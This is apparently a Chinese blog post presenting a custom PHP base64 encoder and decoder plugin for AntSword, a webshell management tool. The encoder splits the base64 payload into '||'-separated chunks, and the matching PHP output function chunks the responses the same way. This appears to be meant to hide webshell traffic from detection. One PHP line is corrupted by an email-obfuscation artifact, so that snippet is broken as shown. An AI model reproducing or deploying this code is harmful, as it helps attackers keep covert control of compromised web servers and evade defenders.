蚁剑_php_base64_编码器及解码器

编码器

/**
 * php::base64编码器
 * Create at: 2019/11/01 15:31:22
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
var getNewString =function(){ 
var getIc = function (ic){ 
var randomIc = "||"; 
return randomIc;
}; 

return function(oc,ic,re){ 
var reStr = "(.{"+re+"}|.*)"; 
var reg = new RegExp(reStr,"g"); 
var ocArray = oc.match(reg);
var arrLength = ocArray.length;
var x=""
console.log(ocArray);
for(var element=0;element<arrLength;element++){ 
console.log(ocArray[element]);
    x=x+ocArray[element]+"||";
}
return x; 
}
}();
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  //let randomID = `_0x${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  data['_']= Buffer.from(data['_']).toString('base64');
  var secondInput = "||,||"; 
  var interval = 5; 
  data['_']=getNewString(data['_'],secondInput,interval)
  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  //data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
  data[pwd] =data['_']
  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

解码器:

/**
 * php::base64解码器
 * Create at: 2019/11/01 17:33:43
 */

'use strict';

module.exports = {
  /**
   * @returns {string} asenc 将返回数据base64编码
   * 自定义输出函数名称必须为 asenc
   * 该函数使用的语法需要和shell保持一致
   */
  asoutput: () => {
    return `function asenc($out){
      [email protected]_encode($out);
      function str_split_unicode($str, $l = 0) {
        if ($l > 0) {
          $ret = array();
          $len = mb_strlen($str, "UTF-8");
        for ($i = 0; $i < $len; $i += $l) {
          $ret[] = mb_substr($str, $i, $l, "UTF-8");
         }
         return $ret;
        }
      return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
      }
      $array=str_split($out, 5);
      $xx="";
      for($i=0;$i<count($array);$i++){
        $xx=$xx.$array[$i]."||";
      }
      return $xx;
    }
    `.replace(/\n\s+/g, '');
  },
  /**
   * 解码 Buffer
   * @param {string} data 要被解码的 Buffer
   * @returns {string} 解码后的 Buffer
   */
  decode_buff: (data, ext={}) => {
    return Buffer.from(data.toString(), 'base64');
  }
}

本文链接:

http://www.ba0z1.com/archives/28.html
1 + 1 =
快来做第一个评论的人吧~